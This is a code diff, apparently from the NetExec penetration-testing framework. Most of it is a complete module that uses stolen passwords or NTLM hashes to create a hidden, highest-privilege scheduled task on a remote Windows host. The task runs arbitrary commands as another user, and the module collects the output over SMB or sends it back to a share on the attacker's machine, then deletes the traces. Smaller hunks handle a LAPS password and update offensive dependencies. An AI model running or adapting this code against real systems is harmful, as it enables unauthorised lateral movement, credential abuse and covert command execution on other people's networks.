class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__outputBuffer = b""
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
else:
|
||||
self.__nthash = hashes
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
return self.__outputBuffer
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_current_date(self):
|
||||
# Get current date and time
|
||||
now = datetime.now()
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>{self.get_current_date()}</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>{self.user}</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
else:
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
|
||||
elif self.__retOutput is False:
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
|
||||
self.logger.debug(f"Generated argument XML: {argument_xml}")
|
||||
xml += argument_xml
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
return xml
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Schtask_as: Create schedule task got blocked.")
|
||||
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
else:
|
||||
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
else:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
sleep(3)
|
||||
tries += 1
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
|
||||
dce.disconnect()
|
|
@ -358,6 +358,7 @@ class smb(connection):
|
|||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
|
||||
self.args.local_auth = True
|
||||
self.domain = self.hostname
|
||||
self.logger.extra["protocol"] = "SMB"
|
||||
self.logger.extra["port"] = "445"
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -37,38 +37,38 @@ python = "^3.7.0"
|
|||
requests = ">=2.27.1"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
lsassy = ">=3.1.8"
|
||||
termcolor = "^1.1.0"
|
||||
termcolor = "^2.3.0"
|
||||
msgpack = "^1.0.0"
|
||||
neo4j = "^4.1.1"
|
||||
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.7.0"
|
||||
paramiko = "^2.7.2"
|
||||
impacket = { git = "https://github.com/mpgn/impacket.git", branch = "gkdi" }
|
||||
pypsrp = "^0.8.1"
|
||||
paramiko = "^3.3.1"
|
||||
impacket = { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
|
||||
dsinternals = "^1.2.4"
|
||||
xmltodict = "^0.12.0"
|
||||
xmltodict = "^0.13.0"
|
||||
terminaltables = "^3.1.0"
|
||||
aioconsole = "^0.3.3"
|
||||
pywerview = "^0.3.3"
|
||||
minikerberos = "^0.4.0"
|
||||
aioconsole = "^0.6.2"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
minikerberos = "^0.4.1"
|
||||
pypykatz = "^0.6.8"
|
||||
aardwolf = "^0.2.7"
|
||||
dploot = "^2.2.1"
|
||||
bloodhound = "^1.6.1"
|
||||
asyauth = "~0.0.13"
|
||||
asyauth = "~0.0.14"
|
||||
masky = "^0.2.0"
|
||||
sqlalchemy = "^2.0.4"
|
||||
aiosqlite = "^0.18.0"
|
||||
aiosqlite = "^0.19.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
rich = "^13.3.5"
|
||||
python-libnmap = "^0.7.3"
|
||||
resource = "^0.2.1"
|
||||
oscrypto = { git = "https://github.com/NeffIsBack/oscrypto" }
|
||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||
pyreadline = "^2.1" # for the build - impacket imports its hidden from the builder so an error occurs
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
ruff = "*"
|
||||
pylint = "*"
|
||||
shiv = "*"
|
||||
black = "^20.8b1"
|
||||
pytest = "^7.2.2"
|
||||
|
||||
[build-system]
|
||||
|
|
Loading…
Reference in New Issue